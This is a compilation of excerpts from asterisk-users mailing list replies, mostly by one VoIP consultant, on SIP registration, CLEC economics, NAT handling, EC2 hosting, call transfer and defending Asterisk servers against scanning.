Re: [asterisk-users] Flowroute: howto set outbound callerid (ast 1.4)?

Re: [asterisk-users] Replacing PBX with Asterisk, need feedback on my new architecture.
Are you certain that this wouldn't be an issue if the phones had low re-registration intervals?

Re: [asterisk-users] Rate sheet "normalization"
Not the best analogy, since it implies that Christian's services are legacy and retrograde, while those in India/Arabia/Nigeria/China are progressive, state-of-the-art. In general, the opposite tends to be the case. There are printing presses in the US, but Chinese can be paid so little to transcribe books by hand that it is actually more economical to pay a large army of them to do just that, instead of investing in one typesetting machine. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com "Raj Mathur (राज माथुर)" wrote: >On Wednesday 28 Mar 2012, C.

Re: [asterisk-users] Rate sheet "normalization"
I sympathise, as a fellow "American" developer. However, it is rather
childlike wishful thinking to purport to stop by force of law that natural
motion of capital which is certifiably unstoppable.
Global economic integration and interdependence ("globalisation") has its
pluses and minuses for everyone. To partake of the benefits of modernity, you
have to pay to play. You can't have the good without the bad. Developing
nations have every bit as many gripes with it as you do. While you complain
that jobs are being taken away from American developers and there is downward
wage pressure, the developing world complains of their macroeconomic health
being subjugated to the whims of some distant investors in faraway lands, there
self-sufficiency destroyed by supposedly organic "competitive advantage",
IMF-sponsored liberalisation and austerity measures that hurt the people and
increase concentration of wealth into few hands, expropriation of land and
resources into the hands of foreign conglomerates, etc. It is what it is.
Regardless, there is no going back. It's like trying to put the milk back into
the cow. All you can do is make yourself competitive in global terms. There
is still much that you can do that cannot be usefully offshored.

Re: [asterisk-users] Routing premature media to the calling channel
Are you absolutely sure that nothing is coming out, even on a different interface than the one on which you are capturing? Are you capture on the Asterisk server and not the receiving host? Secondly, are you absolutely positive that something is supposed to be coming out? 183 does not logically imply or mandate backward early media, though 183+SDP is generally used as a convention to indicate that it is about to be sent. -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0671 Web: http://www.evaristesys.com/, http://www.alexbalashov.com Leandro Dardini wrote: >All NAT and firewall problems are already been excluded.

I assume you have ruled out NAT and firewall issues? Between those two, 99% of the reasons why something may not be routed somewhere correctly are accounted for.

There is a great deal of wisdom in this approach that you may wish to consider carefully before abandoning. It is especially true in Europe, and really, anywhere outside the North American environment, which it doesn't sound like you're in to begin with. Calls to mobile operators, as well as certain premium number allocation prefixes, can be many times more expensive than calls to fixed-line operators. If 4945 were a mobile prefix that was three times more expensive than the overall +49 rate offered by the same provider, are you absolutely certain that you want to use the +49 rate? Even if you have some vendor that gives you a blended overall rate for +49, and you want to cherry-pick expensive routes off their blended rate plan, that still means you need to sort by longest prefix (descending) to know what you're comparing it against. -- Alex -- Alex Balashov - Principal Evariste Systems LLC 235 E Ponce de Leon Ave Suite 106 Atlanta, GA 30030 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/, http://www.alexbalashov.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk?

Re: [asterisk-users] Force sip peers to re register
No, only endpoints decide when to retry registration attempts. If the registration info is your only means of knowing how to reach those peers from Asterisk, and that information is still valid at a given time, it wouldn't make much sense to force them to reregister, would it? :-) And if the information is invalid, you have no means of reaching them for the purpose of executing such a remote trigger, even if it did exist. The only thing you can do is lower the registration interval Asterisk asks of the phones. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity and errors.

Re: [asterisk-users] SDP Issue
I wasn't so much poking fun at the substance of your post as the fact that you're the only person on this mailing list that posts with a pseudonym, and at that, one evocative of online gaming or forum environments. It just doesn't fit with the culture or the relatively serious, substantive and adult-oriented tenor of this type of list. Do you not notice that? At the risk of being rude, "--[ UxBoD ]--" is something that belongs in WoW or a phpBB board full of spotty adolescents. If your real name is Phil, why not post as such? Okay, so maybe you don't want to give out your surname for one reason or another--fair enough. So, post as "Phil", or "Phil D.", if your full name were Phil Deleterious. There's no rule saying you have to. However, the survival of most human social institutions, including those devoted to the exchange of knowledge, is upheld in part by adherence to some conventions of self-presentation and deportment. These conventions help delineate the identity and character of the venue to outsiders, and assist in self-knowledge and affirmation of that character internally. Everyone else here posts with their full name because it communicates: "I am a real, adult person solving real-world technical problems related to Asterisk." It is, at least in part, an affirmation of the fact that real personalities--real humans, real identities--underlie participation in Internet forums, especially specialised ones. It is also a nod to the benificent academic origins of the Internet. There are reasons for these conventions. They encapsulate our creation mythos, and they tell us what kind of people we are, as a community. Quite frankly, your From: display name spits on the pedigree, on the storied heritage of how this open-source community came to be. It is not deferential to the accrued wisdom of Internet-focused technical specialists in areas such as Asterisk or IP telephony, and it does not hallow the ground on which we tread. It says that the ROFLcopter has landed!!!111 and lol p0wned teh n00bs. Except, you're being the n00b. Come on, Phil. Self-awareness is important. I know I am being a self-important ass pontificating on this to you. Are you okay with an ASCII art pseudonym that says, "I'm a 14 year old playing WoW on a delapidated, slightly yellowed Windows tower draped in dirty underwear"? If not for you, why not for us?

Re: [asterisk-users] Becoming a CLEC
On 11/16/2011 10:30 AM, eherr wrote: But what is the correct physical setup of a CLEC. There is no "correct" physical setup. The setups vary as much as anything else does, and are shaped mainly by the purpose of the CLEC and the range of products it provides. Do you get rack space at a carrier hotel and equipment in there? CLECs that provide a substantial range of business-class voice and data services usually have quite a bit of equipment and either end up building out their own telco-grade data center somewhere (which can be synergistic for many of them since they are also data center operators in general), or renting a cage in a carrier hotel. There are CLECs whose equipment can functionally fit into a single rack, or even less, but those are the specialised, single-track ones that mainly exist to support the back side of some VoIP product. In cases where only one or two racks are involved, a carrier hotel is indeed a common venue. Do you get rack space at the local ILEC CO?; which is Verizon here. Yes, but _only_ for the purpose of colocating equipment that is related to backhaul and CFA, i.e. to providing services out of that CO and dragging the last-mile loops to the customer out of the CO and onto your private network. A CO and the equipment allowed it is a very restrictive and regulated environment full of equipment certification criteria and obscure rules. It will seem especially restrictive if you're used to working with commodity PC hardware and open-source; virtually nothing of the sort is allowed to be colocated in a CO. Also, keep in mind that COs generally have 23" telco racks (not 19" data racks) and supply -48V DC, or, at best, 220V AC. Space in a busy metro CO is very expensive. You really don't want to think of it as a general-purpose colocation facility. That's not what it's for. What are the types of voice platforms used by CLECs? The answer to that varies a great deal depending on the services being provided. But in general, CLECs use converged softswitches that offer them the combination of 1) TDM facilities and Class 4 routing features they need, along with (obviously) SS7 support and support for more obscure protocols that become very important in CLEC land, such as H.248/MEGACO, MGCP, etc. and 2) Class 5 subscriber features and applications so they can sell business lines, hosted PBX, etc. CLECs generally are looking for all of that in one chassis, with the obvious redundancy implications as well. They want something that they can connect to the ILEC tandems while simultaneously supporting constructs as high-level as voicemail or "find-me-follow-me". Common platforms in the wild: - MetaSwitch (Class 4/5) - Sonus (rather Class 4 and IP-oriented) - Lucent Compact Switch - formerly Telica (quite Class 4) - Taqua - Excel - Tekelec Broadsoft and Cisco BTS (not so much anymore) figures every heavily into this, but they're slightly different animals than the rest. That's just the formulaic stuff. The big CLECs have all sorts of custom stuff, such as Level3's famed Lucent TNT Max-based "Viper" network and corresponding media gateway control/signaling gateways. -- Alex -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk?

I think that you actually should be looking to your state. I’m
pretty sure that even if CLEC is an FCC designation, it is
implemented either on a per-state or per-LATA basis. Here in NM
there’s only 1 LATA, which is why I’m not completely sure. But I
believe that the CLEC qualifications & designation is actually
managed by the State of NM where I am. One of the state departments
had all of the info & seemed to be in charge.
CLECs are certified on the state level, by state public utility
regulators, in most states known as the state PUC ("public utilities
commission").
Being creatures of the local loop, interconnection with the ILEC is
something that takes place separately in every LATA, often on somewhat
different terms even within the same state.
Negotiating a viable ICA (interconnection agreement) with the ILEC is
one of the most important elements of success or failure, and is a
massive endeavour of both personal scholarship and legal expenditure.
The details of the agreement - most opt-in agreements are hundreds
of pages long - are ones by which CLECs live or die, especially if
they are doing a lot of local access, intra-LATA origination, or UNE
facilities.
And even if there is more paperwork, reporting, red tape, etc.
there are also some MAJOR discounts to be had on circuits due to
the regulation that is placed on the ILECs to foster competition.
They hate it. But it’s not going to change any time in the
foreseeable future.
Yeah, discounts are nice. UNE DS1s in LATA 438 are $44/mo. Many
people lick their chops at such a prospect.
What these prices don't take into account is the up-front and
recurring cost of:
- CO backhaul (usually dark fiber of your own, sometimes ILEC fiber).
- CO colocation - expensive, requires third-party vendors, and plenty
of insurance.
- CFA (circuit facilities assignment) - your cross-connects for UNE
handoff in the CO.
- EELs for dragging circuits out of COs in which you aren't colocated;
you won't go into all of them, it's expensive.
- COs where UNE pricing discipline is suspended because of the ILEC's
finding of "sufficient competition", in favour of special access.
Amortise the up-front and recurring monthly cost of all those pain
points and see what your new "discounted" rates are.

Re: [asterisk-users] Becoming a CLEC
Worst reason to become a CLEC: improved cost structure. Or, to be precise, it is a counterfactual reason, because it does not result in improved cost structure. This idea is driven by an incomplete understanding of what being a CLEC entails, or, for the less critically thoughtful, the "free lunch" fallacy. There is no free lunch. There is no such thing as an easy-peasy regulatory reclassification that gets you the same stuff you were paying before, but more cheaply. Becoming a CLEC is a totally different business model than the one you're in, and it entails magnitudinally more technological and regulatory complexity. It's really almost a different vertical. You should become a CLEC only if you want to become a CLEC, not if you want to be an ITSP with a lower cost basis, because you won't be. It is a very capital-intensive, non-trivial endeavour with high barriers to entry for a good reason. There will be people out there who will tell you that those barriers are low; they are on the bridge of failing CLECs, treading water. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk?

Re: [asterisk-users] Peer and User Clarification
All endpoints are peers, in the broad sense of "entities in sip.conf". This includes phones, gateways, provider endpoints, etc. When a phone makes a call through an Asterisk server, it initiates a call leg to Asterisk, which is matched to a sip.conf peer. Asterisk then initiates a second call leg through another sip.conf peer, and bridges the two legs together. Both are anchored by peers. The "type" of the peer (the type= setting) is a configuration detail that changes some minor aspects of how the endpoint is treated, but whether the type is "friend", "peer", etc. it's still a peer. They are largely the same. -- This message was painstakingly thumbed out on my mobile, so apologies for brevity, errors, and general sloppiness.

This is just a speculative shot in the dark, but remember that the domain of the From URI is important, and that the authentication "realm" (domain) is part of the authentication credentials.

A UAS MUST be prepared to receive a request without a tag in

Some sort of failure to match the proxy to the sip.conf peer.
Is there any way to do it without using path extension?
We do it by having the proxy rewrite the Contact header somewhat
steganographically. For instance, if the REGISTER comes into the proxy
with a Contact of , we extract those URI
particles and do:
remove_hf("Contact");
append_hf("Contact: \r\n");
(s, xxx.xxx.xxx.xxx and 5060 are filled in by PVs)
On the inbound leg, the request URI of the initial INVITE is parsed and
these elements are selected back out.

Re: [asterisk-users] REGISTER forwarding problem
It doesn't consider the OpenSIPS host an authorised peer, so it's simply issuing the usual 401 challenge. Also, Asterisk doesn't currently support the Path extension, and you can't use Record-Route in REGISTERs. If you want your proxy to stay in the loop of subsequent traffic, you will need to come up with some way to get Asterisk to reach the UA through it.

If you get your draft adopted, I am sure Digium would be more than happy to implement it in chan_sip. I think it's a good idea if such a security "option" is provided by default in Asterisk knowing it can save a lot of headache. If budget is an issue maybe make it a bounty and watch support pouring in... The issue is not lack of resources, but rather that it's conceptually incorrect behaviour, and that the UAS is the wrong place to solve this problem.

I cannot think of a good reason why Digium finds this proposal unacceptable, given the onslaught of hacking that we are seeing in the industry.

Not only because the hackers will never get in, but because we would save a huge CPU impact responding to hundreds of REGISTER attempts per minute. It is a NO brainer. Can please the Powers that Be reconsider and add this option to sip.conf? Please? No, because that's absolutely ridiculous. The proper, RFC-compliant behaviour is to return an authentication failure in response to invalid credentials. This mechanism is relied upon for legitimate functionality, such as letting the UAs of intended users know that they are sending incorrect credentials. As was pointed out before, Asterisk is a mostly application-level construct. Applications usually have some rudimentary means of self-defense such as ACLs, but applications are often conceptually distinct from the most appropriate means of securing them. That's what firewalls, SBCs, intrusion detection systems, etc. are for. Your position is equivalent to saying that stock SSH should not return authentication errors for invalid passwords. The proper solution to dictionary attacks is to firewall the SSH service, use RSA keys, VPNs, etc., not to tell the maintainers of the OpenSSH project to come to its senses. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk?

There is no harm unless the endpoint you are dealing with does not do symmetric RTP. The nat=yes option assumes that it is okay to send RTP back to the source port from which it originated, irrespectively of what's in the SDP. This will cause one-way audio if the endpoint happens to want to receive RTP on a different port than the one it is sending it from. Almost all endpoints these days do symmetric RTP, though, so it's not a huge concern. That said, from a methodological and aesthetic perspective, it is better not to break standard RFC-compliant behaviour unnecessarily.

Not easily. This is a problem all service providers have to deal with,
and so do you. You have to have your SIP services open to the world,
but they don't necessarily need to be easy to DoS or dictionary scan.
Intra-industrially, the solution is usually some form of SBC or other
administrative border/edge security element. In the open-source world,
a lot of the steeling, rate-limiting, etc. can be done with
OpenSER/Kamailio/OpenSIPS.
(Shameless plug: That's what we do all day commercially.)
A common strategy is to use a non-standard SIP port ('bindport' in
sip.conf). No, it doesn't stop all scans, but in our experience, it
will stop a good 95%+ of them. When almost everyone does use the
standard SIP port, and thus there are so many low-hanging targets, it's
not worth bothering with a full ~65k UDP port scan. Certainly, the
average SIPvicious scanner won't bother with anything but 5060.
Or is there something else that can be done with the firewall to all
"dynamic" trust IPs and drop packets from unregistered sources?
That raises an interesting question:
How do the users register to begin with, if their REGISTER requests
won't be processed unless their IP is already known to be a registrant?

Asterisk does not expose low-level control of its SIP stack. It's something intended to be configured and used at the application level. If you really want to do this without a firewall, put a Kamailio proxy in front of your Asterisk install and drop things as you see fit. But why go through the trouble?

That would mean that Asterisk would behave as if the request were sent to 5060, and would, of course, respond from 5060 regardless. If the redirecting entity were a separate host, an additional SNAT rule could be applied to fix it in the other direction, too. But since it's the same host, that would cause all outgoing traffic sent by Asterisk from 5060 to be mangled, which is not the intended effect. 2) SIP, as a protocol, has the somewhat dubious distinction of incorporating network and transport-layer reachability information straight into the message. Since your iptables rule is not SIP-aware, it would cause any references to IPs and ports used for URI targeting, etc. to stay constant, and thus sabotage your purpose.

I heard that there is a smarter way to do this by using User Tables in iptables, that will keep the speed equal to LOG(x). I already tried using a straight list and it kills the box. Unless a smarter way us found, there is no way to use iptables. iptables is just a user-space configuration interface to the Linux kernel netfilter. The netfilter uses complex hash tables and other data structures to ensure that packet forwarding rules are looked up in as close to O(1) as possible, not even LOG(n)--LOG(n) would be way too expensive. Other than conventional Cisco router access lists (notwithstanding compiled lists an TurboACL), I don't know of any other packet filter in the universe that does not do similarly. No packet filter would apply a flat list, not the Linux netfilter, not the BSD packet filter, not even Windows. I am not sure what you mean by "User Tables" or in what context you "already tried using a straight list"? What list? Where? Illuminating that information would go a long way toward solving your question. Also, don't post as "CDR".

Re: [asterisk-users] Asterisk in the amazon cloud
Running in Xen domU does not in itself equal running in EC2. Yes, EC2 uses Xen, but I'll bet your hypervisor's oversubscription/contention ratio is nothing like theirs.

On 07/14/2011 06:57 PM, Bruce Ferrell wrote: Does it work? Or do timing issues mess with audio? It does, to a point. You will definitely see problems at higher concurrent call volumes, and there is no question that concurrent call limits reachable in such an environment are lower than on bare metal. You will also need to configure Asterisk to deal with the fact that EC2 instances have a private IP address homed on the network interface and a public IP DNAT'd to it 1-to-1. The 'externip' parameter in sip.conf can be used to do that. Actual experiences will vary greatly depending on the exact physical hardware node on which your VM is provisioned, just how viciously oversubscribed it is, and the I/O demand of other users. A lot of it is a matter of luck. For a small, infrequently used PBX, it will probably work fine. Nir Simionovich has a more optimistic take, having utilised EC2 instances for short-term outbound dialing campaigns based on Asterisk. Here is a link to his Amoocon 2009 presentation on the topic: http://www.simionovich.com/2009/05/14/asterisk-and-amazon-ec2-amoocon-presentation/ Perhaps it is a case where the economic benefit of "elastic" resources that can be ramped up to meet demand outweighs the opportunity costs of the aforementioned inconsistency. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk?

Re: [asterisk-users] Blind Transfer Connected

Fleming wrote: On 07/06/2011 04:44 PM, Alec Davis wrote: IMHO, blind tranfer definition is to NOT connect A and B back That is correct, and is why it's called a 'blind' transfer; the transferring party does not know or care what happens to the call after effecting the transfer. That's not what users migrating from some legacy PBXs expect, our old Fujitsu essence will call back the transferrer if the call isn't answered. The good old 'hook flash', dial the extension, then hangup. Well, that would have to be handled in the dialplan somehow, because Asterisk alone can't decide when a call is 'not answered'. However, writing such a dialplan would indeed be non-trivial :-) Not to mention the expansive myriad of things that can "answer" the call these days, like sundry voicemail systems, that do not constitute an "answer" in the sense desired by the transferring party. On the other hand, if you make the ring timeout too short, that breaks functionality such as call forwarding to a cell phone on the recipient side. It seems to me that keeping blind transfer truly "blind" is the only viable strategy in the contemporary device, service and feature milieu. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk?
